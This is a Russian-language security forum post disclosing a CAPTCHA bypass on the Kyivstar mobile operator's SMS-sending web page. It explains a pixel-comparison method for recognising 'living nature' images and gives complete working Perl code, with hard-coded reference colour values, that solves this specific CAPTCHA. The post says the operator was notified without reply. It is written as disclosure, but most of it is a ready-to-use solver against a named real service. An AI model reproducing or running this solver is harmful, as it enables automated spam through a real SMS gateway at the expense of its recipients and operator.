Обход каптчи на сайте Киевстара
Добрый вечер уважаемые!
Наша команда обнаружила на сайте украинского оператора мобильной связи "Киевстар" уязвимость в отправке коротких текстовых сообщений*
( http://kyivstar.net/_sms/)
Она заключается в распознавании капчти. Это грозит тем, что злоумышленник может автоматически отправлять сообщения через этот сервис не выбирая картинки " живой" природы. Т.е осуществить спам-рассылку.
Для распознавания изображений нашей командой был придуман метод " Квадрата".
Суть метода:
Под квадратом имеется ввиду изображение которое нужно определить, является оно или "живой" или "не живой" природой.
Мы проанализировали все картинки, которые предоставляются для выбора
"живой" и "не живой" природы. Потом нужно взять восемь эталонных точек, которые расположены на бёдрах
квадрата. Сравнение первой точки должно происходить по такому равенству:
|R-Re| <= COEF_R && |G-Ge| <= COEF_G && |B-Be| <= COEF_B
где R,G,B - это цветовая схема пикселя тестового изображения,
Re,Ge,Be - это цветовая схема пикселя эталонного изображения
COEF_(R,G,B) - это коэффициенты потери , которые возникают в следствие
подачи изображения разного качества
В итоге, если все восемь точек соответствуют равенству - мы
рассматриваем эталонное изображение.
Мы написали класс, для работы с изображениями
Ссылка:
http://c.glaive.org.ua/ksocr.html
Или код:
Код:
# ___ _ _
# / __| |__ _(_)_ _____
# | (_ | / _` | \ V / -_)
# \___|_\__,_|_|\_/\___|
#
# Security Group (c) Rubalko Dmitriy , 2008
package KSOCR;
use strict;
use GD::Image;
use Carp;
use constant {
# К-во эталонов живой природы
IMAGE_AMOUNT => 15,
# Погрешности в следсвии подачи изображения разного качества
COEF_R => 45,
COEF_G => 40,
COEF_B => 65,
# Координаты точек для эталонного сравнения
POSITIONS => [ '0:0' , '69:0',
'0:69' , '69:69',
'35:0' , '69:35',
'35:69', '0:35'],
};
# хеш '%c' содержит RGB эталонных изображений
# Эталонные точки 0:0/35:0 69:0/69:35 0:69/35:69 69:69/0:35
my %c = ( 1 => [ '196:86:60' , '143:147:108' , '112:92:51' , '114:75:35' ,
'56:42:8' , '89:60:20' , '47:67:32' , '41:53:16' ],
2 => [ '118:120:78' , '117:107:53' , '112:90:49' , '112:90:49' ,
'201:215:190', '115:100:49' , '168:182:140' , '184:166:110'],
3 => [ '251:248:232', '236:230:215' , '132:150:25' , '119:126:43' ,
'252:252:249', '252:242:250' , '180:190:52' , '166:153:97' ],
4 => [ '252:253:249', '252:253:249' , '92:114:72' , '252:253:249' ,
'252:253:249', '210:220:195' , '102:114:65' , '234:244:217'],
5 => [ '74:100:47' , '30:46:17' , '106:148:65' , '149:188:75' ,
'74:109:34' , '119:164:56' , '209:239:90' , '117:156:49' ],
6 => [ '44:53:13' , '60:99:11' , '155:201:47' , '147:164:128' ,
'183:190:153', '55:76:17' , '164:201:58' , '34:52:7' ],
7 => [ '234:215:178', '234:215:178' , '220:215:172' , '234:215:178' ,
'107:104:63' , '99:96:42' , '92:89:55' , '244:206:111'],
8 => [ '117:124:84' , '117:124:84' , '52:30:4' , '117:124:84' ,
'91:99:65' , '91:99:65' , '184:204:216' , '102:108:78' ],
9 => [ '252:253:250', '252:253:250' , '244:250:232' , '252:246:245' ,
'252:253:250', '252:253:250', '188:182:100' , '92:97:47' ],
10 => [ '113:85:70' , '168:148:112' , '236:227:218' , '165:132:91' ,
'169:147:97' , '124:85:53' , '214:195:168' , '78:52:32' ],
11 => [ '196:179:196', '7:12:10' , '48:61:88' , '12:19:16' ,
'44:40:40' , '116:99:121' , '49:41:62' , '152:94:129' ],
12 => [ '81:72:47' , '104:117:76' , '78:61:44' , '57:73:77' ,
'135:75:5' , '44:40:9' , '43:69:77' , '60:70:51' ],
13 => [ '116:98:92' , '33:37:43' , '66:68:71' , '91:91:97' ,
'21:20:20' , '68:69:84' , '252:253:251' , '166:154:112'],
14 => [ '48:81:34' , '86:60:34' , '166:168:134' , '129:151:112' ,
'66:67:33' , '113:116:77' , '180:193:160' , '100:92:52' ],
15 => [ '148:117:100', '218:208:168' , '181:168:113' , '200:192:143' ,
'216:208:152', '193:199:129' , '198:178:127' , '170:160:81' ],
);
sub new {
my $class = shift;
my $self = { DEBUG => 0,
FILE_DATA => undef,
FILE_NAME => undef,
@_,
};
return bless $self, $class;
}
sub put_file{
my $self = shift;
$self->{ FILE_NAME } = shift;
return $self->{ FILE_NAME };
}
sub put_data{
my $self = shift;
$self->{ FILE_DATA } = shift;
return $self->{ FILE_DATA };
}
sub recognition {
my $self = shift;
my ( $image,$result ) = ( undef,0 );
if ( defined $self->{ FILE_NAME } ){
croak "Файл с именем : $self->{ FILE_NAME } не существует\n" unless -e $self->{ FILE_NAME } ;
$image = GD::Image->newFromJpeg( $self->{ FILE_NAME } );
}elsif ( defined $self->{ FILE_DATA } ){
$image = GD::Image->newFromJpegData( $self->{ FILE_DATA } );
}else{
croak 'Не задан файл , или его DATA' ;
}
for ( 1..IMAGE_AMOUNT ){
print "\nПроверка с эталоном # $_\n",'-'x23,"\n\n" if $self->{ DEBUG };
for ( my $point = 0 ;$point <= 7; $point++ ){
my ( $x,$y ) = split ':',POSITIONS->[$point];
# RGB образца
my ( $r,$g,$b ) = $image->rgb( $image->getPixel( $x,$y ) );
# RGB эталонов живой природы
my ( $re,$ge,$be ) = split ':',$c{$_}->[$point];
if ( $self->{ DEBUG } ) {
printf "( %2d:%2d ) R G B\n",$x,$y;
printf "Образец : %3d %3d %3d\n",$r,$g,$b;
printf "Эталон : %3d %3d %3d\n",$re,$ge,$be;
printf "Погрешность : %3d %3d %3d\n",abs($r-$re),abs($g-$ge),abs($b-$be);
}
if ( abs($r-$re) <= COEF_R && abs($g-$ge) <= COEF_G &&
abs($b-$be) <= COEF_B){
$result++;
printf "Совпадений : %d/8 \n\n",$result if $self->{ DEBUG };
return 1 if $result == 8 ;
}else{
$result = 0;
printf "Совпадений : %d/8 \n\n",$result if $self->{ DEBUG };
last;
}
}
}
return 0;
}
1;
* Администрация сайта была оповещена по электронной почте о найденной уязвимости. Но в течении двух недель мы не дождались ответа и уязвимость до сих пор остаётся рабочей.
В скорем времени ожидайте подробный анализ уязвимостей связанных с распознаванием каптч, а также обзор методов защиты веб-приложений от этих уязвимостей.
С уважением,
Glaive Security Group
|